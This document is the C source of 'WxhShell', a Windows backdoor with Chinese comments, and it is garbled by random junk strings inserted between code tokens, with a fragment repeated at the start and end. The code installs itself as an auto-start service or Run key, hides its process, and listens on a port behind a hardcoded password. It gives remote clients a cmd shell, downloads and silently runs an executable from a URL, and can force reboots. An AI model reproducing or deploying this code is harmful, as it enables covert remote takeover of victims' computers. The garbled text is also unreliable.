Kq;8=xP[ _Nqt21sL g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /K.!sQ$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "-+\R}q$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <|SRe6m b)e
*$) if (!NtQueryInformationProcess) return 0; [O?z@)dx 5nKj
)RH7M hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xo&]$W8 if(!hProcess) return 0;
$7rq3y z}*9uZ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -De9_0#R -i%e!DgH CloseHandle(hProcess); _N{RVeO @n{JM7ctJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [E/\#4b if(hProcess==NULL) return 0; V;,{} qLB)XnQ HMODULE hMod; osX8eX]\ char procName[255]; O vk_\On unsigned long cbNeeded; pUV/Ul] K*X_FJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kNobl _s .G CloseHandle(hProcess); v5QqS8u_C 2AO~HxF if(strstr(procName,"services")) return 1; // 以服务启动 JYW)uJ .K p return 0; // 注册表启动 H\0~#(z?. } f7X6fr< K otrX // 主模块 N<IT w/@^ int StartWxhshell(LPSTR lpCmdLine) $Z\.-QE\ { FXi{87F2 SOCKET wsl; Jc|6& BOOL val=TRUE; ]]oI#*c int port=0; k[:bQ)H struct sockaddr_in door; <U!`J[n% 4Za7^c. if(wscfg.ws_autoins) Install(); 8&)DE@W WRrd'{sB port=atoi(lpCmdLine); xT+zU} z B#.L if(port<=0) port=wscfg.ws_port; b"#WxgaF Y}#J4i0b* WSADATA data; d;>#Sxf if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,^eYlmT>6 \ywXi~+kUv if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iC98_o_9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f;x kT door.sin_family = AF_INET; y&?6FY door.sin_addr.s_addr = inet_addr("127.0.0.1"); SBIj<Yy] door.sin_port = htons(port); Zw ^kmSL" k6sI
L3QJ0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }Du}c3 closesocket(wsl); 'i4_`^:+ return 1; ,Qe?8En[ } a{qM2P(S ZI 3Nq if(listen(wsl,2) == INVALID_SOCKET) { :$m}UA-9 closesocket(wsl); #py[ return 1; #w\~&0 } YQ6f}O Wxhshell(wsl); @!yMIM%P WSACleanup(); vA]W|sLF9 s3R(vd return 0; %sX$nmi3 =p=rg$? } r0 ,:J Fpa_qjL; // 以NT服务方式启动 :F{:Z*Fi0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;I}kQ!q { q(.:9A*0 DWORD status = 0; 06N}k<10O DWORD specificError = 0xfffffff; !,Va(E|= X@LRsg serviceStatus.dwServiceType = SERVICE_WIN32; -/ g B|J serviceStatus.dwCurrentState = SERVICE_START_PENDING; GJtZ&H serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &'}RrW-s serviceStatus.dwWin32ExitCode = 0; 17G'jiYH serviceStatus.dwServiceSpecificExitCode = 0; TTt#a6eJ serviceStatus.dwCheckPoint = 0; 8\5 T3AF serviceStatus.dwWaitHint = 0; yl1gx C86J
IC" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a+!tT!g&I if (hServiceStatusHandle==0) return; I/L_@X<*r
7w/4QiI status = GetLastError(); pnbIiyV if (status!=NO_ERROR) fDvl/|62{ { Db1pW=66: serviceStatus.dwCurrentState = SERVICE_STOPPED; Xt@Z}B))pu serviceStatus.dwCheckPoint = 0; cxr=k%~}J serviceStatus.dwWaitHint = 0; N=QfP serviceStatus.dwWin32ExitCode = status; Y!gCMLL serviceStatus.dwServiceSpecificExitCode = specificError; b7wvaRe. SetServiceStatus(hServiceStatusHandle, &serviceStatus); V&\[)D'c return; qIIv6''5@ } h?8]C#6^ <\}KT*Xp serviceStatus.dwCurrentState = SERVICE_RUNNING; HP3lz,d serviceStatus.dwCheckPoint = 0; zN"J}r: serviceStatus.dwWaitHint = 0; P)MDPI+~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (KF=On;=Y } twlk-2yT! v4.#;F.\m // 处理NT服务事件,比如:启动、停止 oWC@w VOID WINAPI NTServiceHandler(DWORD fdwControl) D(H>R&b! { &qr;IL7' switch(fdwControl) ML8<4o { Ndcg/d case SERVICE_CONTROL_STOP: :X]itTrGs serviceStatus.dwWin32ExitCode = 0; kMt 8/ E` serviceStatus.dwCurrentState = SERVICE_STOPPED; bj"J' serviceStatus.dwCheckPoint = 0; jhg;%+KB serviceStatus.dwWaitHint = 0; ?)1{)Erf8x { GP:77)b5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); UM6(s@$ } s8#X3Rp return; *UmI]E{g3( case SERVICE_CONTROL_PAUSE: J_v$YwE serviceStatus.dwCurrentState = SERVICE_PAUSED; FWHNj.r break; A3S<..g2 case SERVICE_CONTROL_CONTINUE: ~;&m*2
|V serviceStatus.dwCurrentState = SERVICE_RUNNING; @Q/-s9b break; 82QGS$0V case SERVICE_CONTROL_INTERROGATE: /(BMG/Tb break; q~vDz]\G }; nC}6B).el SetServiceStatus(hServiceStatusHandle, &serviceStatus); !gv`FE9y } X6mqi;+ qQsku;C?i // 标准应用程序主函数 4@ML3d/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) frT]5?{ { S&\L-@ .b-f9qc= // 获取操作系统版本 2m35R& OsIsNt=GetOsVer(); g;8jK8Kh GetModuleFileName(NULL,ExeFile,MAX_PATH); }woo%N P mA*AeP_$ // 从命令行安装 eZdu2.;< if(strpbrk(lpCmdLine,"iI")) Install(); JZD[N Z< =<X?sj5 // 下载执行文件 .NvQm]N0. if(wscfg.ws_downexe) { B&.FOO if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u(wGl_ WinExec(wscfg.ws_filenam,SW_HIDE); }c}|
$h^Y } [h34d5'w d~:!#uWyFk if(!OsIsNt) { PV/77{' // 如果时win9x,隐藏进程并且设置为注册表启动 '=G|Sq^aO HideProc(); I9mvte StartWxhshell(lpCmdLine); EVVP]ND } d\61;C else },>pDeX^P if(StartFromService()) 72Iy^Y[MX // 以服务方式启动 fbL\?S,w StartServiceCtrlDispatcher(DispatchTable); `^FGwx@ else bV$)!]V // 普通方式启动 G1"zElug StartWxhshell(lpCmdLine); 0DmMG (h5'9r return 0; G_k~X" } W81E!RyP` OZTPOz. l#H#+*F ])
rrG/3 =========================================== l-s!A(l %_{tzXim *IY*yR6 *WIj4G.d sZL#xZ5
Df fD07VBS yl " bX*Hi#J~A ,Td!|~I|j6 #include <stdio.h> rZfN+S,g #include <string.h>
mi)LP?q #include <windows.h> _/s(7y! #include <winsock2.h> Lv'D^'I #include <winsvc.h> 6C]1Q.f; #include <urlmon.h> u9}1)9 M\Z6$<H?U #pragma comment (lib, "Ws2_32.lib") bV8!"{ #pragma comment (lib, "urlmon.lib") z 6?)3' lm xr oHE #define MAX_USER 100 // 最大客户端连接数 B,K>rCZ/ #define BUF_SOCK 200 // sock buffer FcRW;e8- #define KEY_BUFF 255 // 输入 buffer _jNj-)RB_ v}tag#f5>? #define REBOOT 0 // 重启 @W^| ? #define SHUTDOWN 1 // 关机 _=NwQu\_F }p!HT6 tZ #define DEF_PORT 5000 // 监听端口 /u0'
6V FFH_d <q #define REG_LEN 16 // 注册表键长度 NDs!a #define SVC_LEN 80 // NT服务名长度 niqN{ `xywho%/Y // 从dll定义API 6q]5Es< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 72X0Tq 4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0qo)."V{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T.We: ,{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AjT%]9
V? Pj4/xX // wxhshell配置信息 *+\SyO struct WSCFG { SnFk>` int ws_port; // 监听端口 )EL!D%<A char ws_passstr[REG_LEN]; // 口令 >layJt int ws_autoins; // 安装标记, 1=yes 0=no +> WM[o^I char ws_regname[REG_LEN]; // 注册表键名 AwTJJ0> char ws_svcname[REG_LEN]; // 服务名 \uXcLhXN char ws_svcdisp[SVC_LEN]; // 服务显示名 Z7_ zMM char ws_svcdesc[SVC_LEN]; // 服务描述信息 )E,\H@A char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y-j\zK int ws_downexe; // 下载执行标记, 1=yes 0=no 1xbK'i:-S char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w7FW^6Zl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pp|*J^U 4 ;Wl+zw }; *_KFW@bC: ,Vh{gm1 // default Wxhshell configuration 8S<@"v struct WSCFG wscfg={DEF_PORT, B?)@u|0 "xuhuanlingzhe", raCi 8 1, uFLx "Wxhshell", d , Y#H0` "Wxhshell", &CIVL#];e "WxhShell Service", un=2}@ ' "Wrsky Windows CmdShell Service", +q)5dYRzV
"Please Input Your Password: ", n#:N;T;\a 1, K\$J4~EtG "http://www.wrsky.com/wxhshell.exe", .{=$!8|&I9 "Wxhshell.exe" [<{Kw=X__2 }; e+j)~RBnu3 \N4
y< // 消息定义模块 gF0q@M y~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }>'PT- char *msg_ws_prompt="\n\r? for help\n\r#>"; a?6ab+7# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qKE:3g35 char *msg_ws_ext="\n\rExit."; 9!Ar`Io2@ char *msg_ws_end="\n\rQuit."; svuq gSn char *msg_ws_boot="\n\rReboot..."; "d$m@c char *msg_ws_poff="\n\rShutdown..."; VB?Ohk]< char *msg_ws_down="\n\rSave to "; jU3Z*Z)zN 2l
F>1vH char *msg_ws_err="\n\rErr!"; 2Y>~k{AN% char *msg_ws_ok="\n\rOK!"; $YXMI",tt< 7As|Ns` char ExeFile[MAX_PATH]; \|U l]1pO8 int nUser = 0; PmR~c, HANDLE handles[MAX_USER]; 0k'e:AjP int OsIsNt; 2{Chu85 IZm(`b;t^ SERVICE_STATUS serviceStatus; ^m/oDB- SERVICE_STATUS_HANDLE hServiceStatusHandle; >(<ytn t= A^RR@D // 函数声明 :UbM ! int Install(void); v0kqu int Uninstall(void); UTSL int DownloadFile(char *sURL, SOCKET wsh); K^ 3co int Boot(int flag); ^<:sdv>Y5 void HideProc(void); GV^i`r^" int GetOsVer(void); C-?%uF int Wxhshell(SOCKET wsl); H> '>3]G void TalkWithClient(void *cs); Hzhceeh_+ int CmdShell(SOCKET sock); e+]6OV&+ int StartFromService(void); DwV4o^J:l int StartWxhshell(LPSTR lpCmdLine); `zR+ tbm Kv rX{F= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h8X g`C\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); )
gzR=9l hxf'5uc // 数据结构和表定义 8srBHslI SERVICE_TABLE_ENTRY DispatchTable[] = b-Z4
Jo
G { -PnyZ2'Z {wscfg.ws_svcname, NTServiceMain}, Wfz\`y {NULL, NULL} R@*O!bD }; Qf|U0 2o9$4{}rG // 自我安装 4:sjH.u< int Install(void) Cv*x2KF
G { QeDQo char svExeFile[MAX_PATH]; ?hR7<02 HKEY key; WnHUE strcpy(svExeFile,ExeFile); 9M /SH$Qy `s]4AKBO // 如果是win9x系统,修改注册表设为自启动 k;EPpr-{ if(!OsIsNt) { c.|l-zAeX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1TM~*<Jb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); teW6;O_ RegCloseKey(key); )%X;^(zKM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/q@s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G|m1.=DJm RegCloseKey(key); {i*2R^5 return 0; KZbR3mi, } 3loY qeP } ur\qOX|{ } 6 8iV/7 else { ;oNhEB:F }6-ZE9H-v // 如果是NT以上系统,安装为系统服务 |3{&@7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hAqg Iu* if (schSCManager!=0) ,WQ^tI=O { A;J MV+2N SC_HANDLE schService = CreateService >m'x8xB= ( 7$k8%lI;> schSCManager, Pz_NDI wscfg.ws_svcname, tQ~W EC wscfg.ws_svcdisp, \]Dt4o*yZ SERVICE_ALL_ACCESS, &48_2Q"{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y
e+Ay SERVICE_AUTO_START, Ao7 `G': SERVICE_ERROR_NORMAL, aVe/
gE svExeFile, GOSI3RRn NULL, _0pO8o-x NULL, q+a.G2S NULL, Qpt&3_ NULL, zTD@ NULL <8#ObdY! ); r,N[ )@ if (schService!=0) nW+YOX|+ { a45ss7 CloseServiceHandle(schService); ^# A.@ CloseServiceHandle(schSCManager); ~/IexQB& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m~],nl strcat(svExeFile,wscfg.ws_svcname); n^hocGH* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1j\aH&)GH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _ jAo:K_Z RegCloseKey(key); =C
f(B<u return 0; Dz_eB"} } DP7C?}( } 3P <'F2o CloseServiceHandle(schSCManager); [B0K } BwJuYH7QJ$ } np WEop> vtMJ@!MN; return 1; ]]cYLaq( } eeUp 1g ze'.Y%] // 自我卸载 fA^7^0![ int Uninstall(void) 5]jIg<j { `BnP[jF HKEY key; hxC!+ArVe M0-,M/]l if(!OsIsNt) { QMk+RM8U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yu
,h\ RegDeleteValue(key,wscfg.ws_regname); &!y]:CC{ RegCloseKey(key); kDB iBNdB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m]IysyFFK RegDeleteValue(key,wscfg.ws_regname); \,sg)^w@ RegCloseKey(key); _a+ICqR return 0; ex?\c" } RP(/x+V } ewB!IJxh } 8,o17}NY, else { 3AlqBXE"Z< MFg'YA2/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C%ytkzG_ if (schSCManager!=0) (Q-I8Y8l8 { qi+&|80T. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cj&$%sO1 if (schService!=0) r(}nhU Q%E { K@@9:T$ if(DeleteService(schService)!=0) { >Wh3MG6 CloseServiceHandle(schService); y67uH4&Vm CloseServiceHandle(schSCManager); ggou*;' return 0; !%mi&ak(Rn } W>L@j( CloseServiceHandle(schService); Q-zdJt } l_v*7d CloseServiceHandle(schSCManager); 1.SkIu% } H/+{e,SW" } wq4nMY:# '1]7zWbW return 1; ;IC'Gq } KtTza5aF HR3_@^<7 // 从指定url下载文件 v3JPE])/ int DownloadFile(char *sURL, SOCKET wsh) [F|+(} { <{019Oa HRESULT hr; fQQ|gwVki char seps[]= "/"; e`sw*m5 char *token; }f}IA\8] char *file; .^XHuN& char myURL[MAX_PATH]; _@E "7<\ char myFILE[MAX_PATH]; p(7QAd4 VjTe4$ * strcpy(myURL,sURL); g8yN%)[ token=strtok(myURL,seps); _=6 OP8 while(token!=NULL) 3 C"_$?y" { vF>gU_gz. file=token; U1Yo7nVf token=strtok(NULL,seps); 0yHjrxc$ } 5
R*lVUix 6s,2NeVWa GetCurrentDirectory(MAX_PATH,myFILE); >%c*Xe strcat(myFILE, "\\"); b|ZLX: strcat(myFILE, file); G+yL;G/ send(wsh,myFILE,strlen(myFILE),0); lA{(8sKN send(wsh,"...",3,0); 8^w/HCC8O hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ozxYH], if(hr==S_OK) Z( #Ln return 0; |mj#
0 else +t>XxYScx return 1; T_~KxQ M5Wl3tZL } =hcPTU-QU CT}' ")Bm // 系统电源模块 u)7
]1e{ int Boot(int flag) baIbf@t/ { l7Lj[d<n HANDLE hToken; >h[(w TOKEN_PRIVILEGES tkp; sA\L7`2H M@O2
WB1ws if(OsIsNt) { sPpS~wk* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nx;$dxx_Ws LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gUGOHd(A tkp.PrivilegeCount = 1; S'?fJ. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NQ!<f\m4n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J" bD\% if(flag==REBOOT) { ;\s~%~\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _:5=|2-E return 0; 6To:T[ z# } -gSj>b7T else { q5?L1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 966<I56+ return 0; JmjxGcG } \ 522,n` } O!];_q/ else { ss;
5C:*y if(flag==REBOOT) { P/`m3aSzX. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "!a`ygqpT return 0; +@>:%yX } Tc,$TCF else { }3sN+4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gV.f*E1C return 0; 3"vRK5Bf } SW;HjQ>V } !3HsI|$<G 7(@(Hm return 1; &<=e_0zT } `A"Q3sf% A:c]1 // win9x进程隐藏模块 ixzTJ]y u void HideProc(void) ;ct)H*
y { QmHwn)Ly
7&px+155 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q!x`M4 if ( hKernel != NULL ) tO4):i1 { j Ii[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0T1ko,C!,e ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2)? FreeLibrary(hKernel); x?rbgsB5& } &_YtY47
dQ`:8SK return; [88{@) } 9iK&f\#5H X
[!X>w&z| // 获取操作系统版本 .c: )Qli int GetOsVer(void) rd|crD3 { (tpof
5a OSVERSIONINFO winfo; g#Mv&tU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jPpRsw> GetVersionEx(&winfo); eB7>t@ED if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &
L3UlL return 1; t5n2eOy~T else qf)C%3gXI return 0; U81;7L8 } 'X|v+? mHHzCKE , // 客户端句柄模块 s1Okoxh/!V int Wxhshell(SOCKET wsl) m'SmN{(t { y 3IA ' SOCKET wsh; RE*WM3QK~ struct sockaddr_in client; o|+E+l9\ DWORD myID; FXeV6zfrE =Iy/cHK while(nUser<MAX_USER) Dw*Arc+3V { -}< d(c int nSize=sizeof(client); :;q>31:h wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &q"'_4 if(wsh==INVALID_SOCKET) return 1; }U(\~
=D zdqnL^wb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [pr 9 $Jr if(handles[nUser]==0) U|9U(il closesocket(wsh); G{/; AK else v&e-`.xR nUser++; C(xqvK~p } 1Jl{1;c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g%X &f_@ {zY`h6d return 0; xJN |w\& } C?{D"f`[] >1m)%zt // 关闭 socket 9jqO/_7R+ void CloseIt(SOCKET wsh) nZ&T8@m { &|s+KP|d closesocket(wsh); )\D2\1e(c nUser--; lfXH7jL2~ ExitThread(0); n}=rj7 } mVa?aWpez 1]_?$)$T // 客户端请求句柄 p(~Y"
H void TalkWithClient(void *cs) t'dHCp} { Tt{U"EFO ~5FS|[1L SOCKET wsh=(SOCKET)cs; g[m3IJzq char pwd[SVC_LEN]; ;I[ht char cmd[KEY_BUFF]; N 9c8c char chr[1]; 3w
t:5
Im int i,j; qUifw @ :0WkxEY9 while (nUser < MAX_USER) { P{"WlJ r hiS if(wscfg.ws_passstr) { ;RNM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )?F$-~7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L@>^_p$ //ZeroMemory(pwd,KEY_BUFF); \_lG#p| i=0; I/^q+l.=`{ while(i<SVC_LEN) { dNOX&$/= <P|`7wfxE // 设置超时 nu;}S!J fd_set FdRead; hq5NQi`
% struct timeval TimeOut; 3DxZ#/! FD_ZERO(&FdRead); 0\?_lT2 FD_SET(wsh,&FdRead); B*-ToXQQr TimeOut.tv_sec=8; %T`4!:vy TimeOut.tv_usec=0; IUluJ.sXIf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); //#xK D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 70'}f `
(7N^@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pi^^L@@d pwd=chr[0]; v(qV\:s}m if(chr[0]==0xd || chr[0]==0xa) { 2q`)GCES~ pwd=0; &_<VZS break; XD;15a } b}ySZlmy i++; @m+pr\h( } 2(c<U6#C'l X)`(nj // 如果是非法用户,关闭 socket /W"Bf if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3S[w' } 2"pE&QNd 9F2P(aS send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w o-O_uZB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #2_o[/&}x@ YWt"| while(1) { qR [}EX&3 =q_&*' ZeroMemory(cmd,KEY_BUFF);
91-P)%? [<#<:h&\ // 自动支持客户端 telnet标准 p{A}p9sjx j=0; }4bB7,j while(j<KEY_BUFF) { p{mxk)A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '#cT4_D^lI cmd[j]=chr[0]; uznoyj6g if(chr[0]==0xa || chr[0]==0xd) { .jU|gf:x cmd[j]=0; v YRt2({}Z break; +zFV~]b } , aRJ!AZ j++; r*X}3t* } D%c7JK w?V[[$ // 下载文件 p/\$P= if(strstr(cmd,"http://")) { >>oASo send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1R5\GKF6o if(DownloadFile(cmd,wsh)) s=^r/Sz902 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~pd1) else E1Ru)k{B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4i+PiD:H } CX&yjT6` else { <
"L){$ O?C-nw6kP switch(cmd[0]) { }}sRTW +E q~X=x // 帮助 (n":]8} case '?': { Ckl7rpY+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b2/N H1A break; an$]IN } C0t+Q // 安装 }%o+1 <= case 'i': { 66^1&D" if(Install()) zbIwH6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2=Brtc[@ else dbMu6Bm\G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ww'TCWk@ break; n3l"L|W^(< } lry&)G=5 // 卸载 sl^s9kx;C$ case 'r': { x;ICV%g/ if(Uninstall()) =& Tu`m send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8CnI%_Su else 9U }MXY0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T4H oSei break; mf*9^}l+Zn } *&hXJJ[+ // 显示 wxhshell 所在路径 RXx?/\~yd; case 'p': { B(en5| char svExeFile[MAX_PATH]; R@7GCj strcpy(svExeFile,"\n\r"); JR a*;_ strcat(svExeFile,ExeFile); (}~eD send(wsh,svExeFile,strlen(svExeFile),0); wCq)w=, break; w371.84 } *xv/b= // 重启 XC$+ `? case 'b': { Y&05
*b" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &aevR^f+ if(Boot(REBOOT)) 1VjeP
* send(wsh,msg_ws_err,strlen(msg_ws_err),0); /SqFP
L] else { M|Dwk3# closesocket(wsh);
cT>z ExitThread(0); U3_yEvZ } }<\65 B$1 break; d,oOn.n& } +4:+qGAJ{ // 关机 *(\;}JF- case 'd': { .~A"Wyu\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zm;
+Ku> if(Boot(SHUTDOWN)) tZNad send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ucF(^ else { '#4mDz~ closesocket(wsh); V&,<,iNN ExitThread(0); qh(-shZ4Du } %B {D break; 2;?wN`}5g= } Z'EO // 获取shell Z;~E+dXC case 's': { |Z7bd^ CmdShell(wsh); @'<j!CqQ
o closesocket(wsh); bZOy~F| ExitThread(0); }_kI> break; $NGtxZp } aji~brq // 退出 ^0ZKHR(}e case 'x': { ZvnZ}t>? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _@~kYz CloseIt(wsh); FUqhSW break; <C.$Db&9 } RkH oT^
// 离开 f\F_?s)_y case 'q': { ?9r,Y;,H send(wsh,msg_ws_end,strlen(msg_ws_end),0); G}dOx}kT closesocket(wsh); Lq
$4.l[j WSACleanup(); 2W:?#h3 exit(1); }b]y
0" break; kJ<Xq
} f/[?5M[ } ;AL@<,8 } tCCi|*P
G iB`WXU // 提示信息 Ye=7Y57Nr if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L^al1T } H'h4@S } =3v
1]7X UVBw;V return; W$MEbf%1 } iQ}sp64 ??%T // shell模块句柄 ~
%YTJS int CmdShell(SOCKET sock) >->xhlL* { >*i8RqU STARTUPINFO si; #2vG_B<M) ZeroMemory(&si,sizeof(si)); ! lN a` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?nGf Wx^ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %:;[M|. PROCESS_INFORMATION ProcessInfo; v^18o$=K", char cmdline[]="cmd"; I'%H:53^0 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rPGE-d3 return 0; <:;:*s3] } ZR q}g: e}O -I // 自身启动模式 NF\^'W@N int StartFromService(void) UE`4$^qs { M>H^<N}'A typedef struct 0)Xue9AS { cLko DWORD ExitStatus; 'SD|ObBY DWORD PebBaseAddress; Y <i}"eI* DWORD AffinityMask; -MW(={# DWORD BasePriority; }!7DF ULONG UniqueProcessId; k$x
'v# ULONG InheritedFromUniqueProcessId; 8 8=c3^ } PROCESS_BASIC_INFORMATION; E0B2>V rB&j"p}Q PROCNTQSIP NtQueryInformationProcess; dpn&)?f }}bi#G:R+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GxBPEIim static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w@$o *rFbehf H HANDLE hProcess; )%@WoBRj PROCESS_BASIC_INFORMATION pbi; A8Z?[,Mq! *2C79hi1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {f-/,g~ if(NULL == hInst ) return 0; % m5 ^p jc~*#\N g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AXv;r< g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iGeT^!N NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W!0 bOIM0<(h if (!NtQueryInformationProcess) return 0; ,Yprk%JT Eno2<< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DoB3_=yJ+ if(!hProcess) return 0; MG5Sn*(C W]Tt8 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XoQk'7"f QRh4f\fY CloseHandle(hProcess); nMdN$E ^5 =E`q". hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $JSC+o(q3# if(hProcess==NULL) return 0; QZa#iL P7.8tM2} HMODULE hMod; ~+iJpW char procName[255]; KPe.AK,8 unsigned long cbNeeded; R^kv!x;h
